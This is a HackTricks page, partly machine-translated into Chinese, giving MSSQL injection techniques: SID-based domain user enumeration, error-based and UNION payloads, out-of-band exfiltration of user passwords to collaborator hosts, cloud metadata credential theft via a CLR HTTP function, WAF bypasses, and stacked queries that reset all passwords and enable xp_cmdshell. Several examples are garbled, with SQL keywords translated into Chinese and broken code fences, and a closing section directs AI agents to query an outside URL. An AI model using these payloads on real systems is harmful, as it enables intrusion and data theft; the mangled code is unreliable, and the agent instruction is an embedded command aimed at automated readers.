# MSSQL Injection

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 活动目录枚举

可能可以通过在MSSQL服务器内部进行SQL注入来**枚举域用户**，使用以下MSSQL函数：

* **`SELECT DEFAULT_DOMAIN()`**：获取当前域名。
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**：如果您知道域的名称（在此示例中为\_DOMAIN），此函数将以十六进制格式返回用户Administrator的**SID**。这将看起来像`0x01050000000[...]0000f401`，请注意**最后4个字节**是**500**，采用**大端**格式，这是**管理员用户的常见ID**。\
  此函数将允许您**了解域的ID**（除了最后4个字节）。
* **`SUSER_SNAME(0x01050000000[...]0000e803)`**：此函数将返回指定ID的**用户名**（如果有的话），在这种情况下，**0000e803**以大端== **1000**（通常是创建的第一个常规用户ID）。然后您可以尝试从1000到2000暴力破解用户ID，可能获取域用户的所有用户名。例如使用以下函数：

```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
```

## **替代错误注入向量**

错误注入通常类似于构造，如 `+AND+1=@@version--` 和基于«OR»运算符的变体。包含这些表达式的查询通常会被 Web 应用防火墙（WAF）阻止。为了绕过阻止，可以使用 %2b 字符与触发所需数据类型转换错误的特定函数调用的结果连接字符串。

一些此类函数的示例：

* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`

使用函数 `USER_NAME()` 的示例：

```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```

![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/6.png)

## SSRF

这些SSRF技巧[取自这里](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

### `fn_xe_file_target_read_file`

它需要服务器上的\*\*`VIEW SERVER STATE`\*\*权限。

```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```

```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```

### `fn_get_audit_file`

需要 **`CONTROL SERVER`** 权限。

```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```

```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```

### `fn_trace_gettabe`

需要 **`CONTROL SERVER`** 权限。

```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```

```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```

### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>

诸如 `xp_dirtree` 这样的存储过程虽然没有被微软官方文档记录，但由于其在MSSQL中的网络操作中的实用性而被他人在网上描述。这些存储过程经常被用于带外数据泄露，正如在各种[示例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)和[帖子](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)中展示的那样。

例如，`xp_dirtree` 存储过程用于发起网络请求，但仅限于TCP端口445。端口号不可修改，但允许从网络共享中读取。以下是SQL脚本中的使用示例：

```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
```

这种方法可能无法在所有系统配置上正常工作，例如在运行在默认设置下的 `Windows Server 2016 Datacenter` 上的 `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`。

此外，还有替代的存储过程，如 `master..xp_fileexist` 和 `xp_subdirs`，可以实现类似的结果。有关 `xp_fileexist` 的更多详细信息，请参阅此[TechNet文章](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)。

### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>

显然，您也可以使用 **`xp_cmdshell`** 来 **执行** 一些触发 **SSRF** 的操作。有关更多信息，请在页面中阅读相关部分：

{% content-ref url="/pages/LNQVf3yRpKTdaE4cmAf1" %}
[1433 - Pentesting MSSQL - Microsoft SQL Server](/network-services-pentesting/pentesting-mssql-microsoft-sql-server.md)
{% endcontent-ref %}

### MSSQL 用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>

创建一个 CLR UDF (Common Language Runtime User Defined Function)，这是用任何 .NET 语言编写的代码，并编译成 DLL，在 MSSQL 中加载以执行自定义函数的过程需要 `dbo` 访问权限。这意味着通常只有在数据库连接为 `sa` 或具有管理员角色时才可行。

在 [此 Github 存储库](https://github.com/infiniteloopltd/SQLHttp) 中提供了一个 Visual Studio 项目和安装说明，以便将二进制文件加载到 MSSQL 中作为 CLR 组件，从而实现在 MSSQL 中执行 HTTP GET 请求。

这种功能的核心包含在 `http.cs` 文件中，该文件使用 `WebClient` 类执行 GET 请求并检索内容，如下所示：

```csharp
using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
```

在执行`CREATE ASSEMBLY` SQL命令之前，建议运行以下SQL片段将程序集的SHA512哈希添加到服务器的受信任程序集列表中（可通过`select * from sys.trusted_assemblies;`查看）：

```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```

成功添加程序集并创建函数后，可以使用以下SQL代码执行HTTP请求：

```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```

### **快速利用：在单个查询中检索整个表内容**

[这里的技巧](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)。

提取表的全部内容的简洁方法涉及使用 `FOR JSON` 子句。这种方法比使用 `FOR XML` 子句更简洁，后者需要像 "raw" 这样的特定模式。`FOR JSON` 子句因其简洁性而受到青睐。

以下是如何从当前数据库中检索模式、表和列的方法：

````sql
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
https://vuln.app/getItem?id=1'+并且+1=(选择+concat_ws(0x3a,table_schema,table_name,column_name)a+从+information_schema.columns+for+json+auto)--
````

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm\_exec\_requests and sys.dm\_exec\_sql\_text:

````sql
### MSSQL注入

访问以下链接：

```html
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
````

````

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
````

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```

```

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

```

### MSSQL注入

访问以下链接：`https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--`

```

Scientific (0e) and hex (0x) notation for obfuscating UNION:

```

* 使用UNION注入来检索数据库版本信息：
  * <https://vuln.app/getItem?id=0eunion+select+null,@@version,null-->
* 使用UNION注入来检索数据库版本信息：
  * <https://vuln.app/getItem?id=0xunion+select+null,@@version,null-->

```

A period instead of a whitespace between FROM and a column name:

```

### MSSQL注入

让我们看一下如何利用MSSQL注入来获取数据。在这个示例中，我们将尝试获取ID为1的项目。

```html
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```

```

\N separator between SELECT and a throwaway column:

```

### MSSQL注入

***

访问以下链接：

```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
```

````

### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
```sql
SELECT 'a' SELECT 'b'
````

```sql
SELECT 'a' SELECT 'b'
```

````

So for example, multiple queries such as:

```sql
```sql
使用 [tempdb]
创建表 [test] ([id] int)
插入 [test] 值(1)
选择 [id] 从 [test]
删除表[test]
````

````

Can be reduced to:

```sql
使用[tempdb]创建表[test]([id]int)插入[test]值(1)选择[id]从[test]删除表[test]
````

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

```
# 在末尾添加一个无用的 exec() 并让 WAF 认为这不是一个有效的查询
admina'union select 1,'admin','testtest123'exec('select 1')--

## 这将是：
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# 使用奇怪构建的查询
admin'exec('update[users]set[password]=''a''')--

## 这将是：
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# 或者启用 xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

## 这将是：
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
```

## References

* <https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/>
* <https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/>

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/sql-injection/mssql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
